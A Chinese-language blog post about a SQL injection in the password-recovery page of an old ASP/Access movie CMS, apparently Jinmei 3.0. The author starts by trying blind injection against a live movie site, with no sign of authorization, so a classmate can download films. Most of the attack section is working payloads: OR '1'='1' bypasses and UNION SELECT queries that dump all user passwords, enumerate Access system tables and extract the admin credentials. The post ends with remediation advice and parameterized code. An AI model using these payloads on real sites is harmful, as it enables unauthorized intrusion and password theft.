同學想下載電影,筆者憑藉過往經驗鎖定某電影站(疑似金梅電影系統 3.0)。金梅系統歷史漏洞眾多:SQL 注入、Cookie 欺騙、後台繞過……嘗試用 ASC/MID 盲注猜解管理員帳號半天無果,決定轉而審計源碼尋找更高效利用鏈。
下載源碼部署本地複現,發現「找回密碼」頁面接收三個參數:
myuserid(用戶名)ask(密碼提示問題)answer(密碼提示答案)核心代碼片段:
sql = "SELECT passWord FROM users WHERE userid='" & request("myuserid") & "' AND city='" & request("ask") & "' AND adress='" & request("answer") & "'"
rs.Open sql, conn, 1, 1
If rs.EOF And rs.BOF Then ... Else Response.Write rs("passWord")
三參數均無任何過濾,直接拼接進 WHERE 子句,且查詢結果明文回顯密碼——教科書級注入點。
已知用戶名 abc:
| 參數 | 輸入值 |
|---|---|
| myuserid | abc' OR '1'='1 |
| ask | a |
| answer | a |
生成 SQL:
SELECT passWord FROM users WHERE userid='abc' OR '1'='1' AND city='a' AND adress='a'
'1'='1' 恆真,後續條件被短路,直接返回第一行密碼(通常是管理員)。
Access 不支持 --、# 註釋,尾部 AND city=... AND adress=... 無法直接截斷。利用 UNION SELECT 構造恆真條件:
myuserid: a' UNION SELECT passWord FROM users WHERE '1'='1
ask: a
answer: a
生成 SQL:
SELECT passWord FROM users WHERE userid='a' UNION SELECT passWord FROM users WHERE '1'='1' AND city='a' AND adress='a'
WHERE '1'='1' 恆真,返回所有用戶密碼passWord,完美匹配
-- 獲取表名(Access 系統表 MSysObjects 需權限,失敗則改用猜解)
myuserid: a' UNION SELECT name FROM MSysObjects WHERE Type=1 AND '1'='1
-- 獲取 admin 表列名
myuserid: a' UNION SELECT name FROM MSysColumns WHERE id=(SELECT id FROM MSysObjects WHERE name='admin') AND '1'='1
-- 精準提取管理員帳號密碼
myuserid: a' UNION SELECT TOP 1 username FROM admin WHERE '1'='1
myuserid: a' UNION SELECT TOP 1 passWord FROM admin WHERE '1'='1
| 根因 | 風險等級 | 修復措施 |
|---|---|---|
| 字符串拼接 SQL,無參數化 | Critical | 使用 ADODB.Command + Parameters 集合 |
| 敏感信息(密碼)明文存儲+明文回顯 | Critical | 密碼 Bcrypt/Argon2id 哈希存儲,絕不回顯 |
| 錯誤信息回顯洩露表結構 | High | 生產環境關閉詳細錯誤,統一友好錯誤頁 |
| Access 數據庫文件可直接下載 | High | 將 .mdb 移出 Web 目錄,或 IIS 設置拒絕 .mdb 請求 |
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT passWord FROM users WHERE userid=? AND city=? AND adress=?"
cmd.CommandType = 1 ' adCmdText
cmd.Parameters.Append cmd.CreateParameter("@userid", 200, 1, 50, Request("myuserid")) ' adVarChar
cmd.Parameters.Append cmd.CreateParameter("@city", 200, 1, 50, Request("ask"))
cmd.Parameters.Append cmd.CreateParameter("@adress", 200, 1, 100, Request("answer"))
Set rs = cmd.Execute
If Not rs.EOF Then
' 驗證通過,發送重置郵件而非顯示密碼
SendResetEmail rs("email")
End If
本案例展示了從「功能邏輯缺陷」到「數據庫系統表枚舉」的完整利用鏈。金梅系統雖老,但同類「找回密碼/註冊/搜索」功能在現代 CMS、電商、OA 系統中依然大量存在。參數化查詢、哈希存儲密碼、最小權限、錯誤隱藏四大鐵律,請刻入肌肉記憶。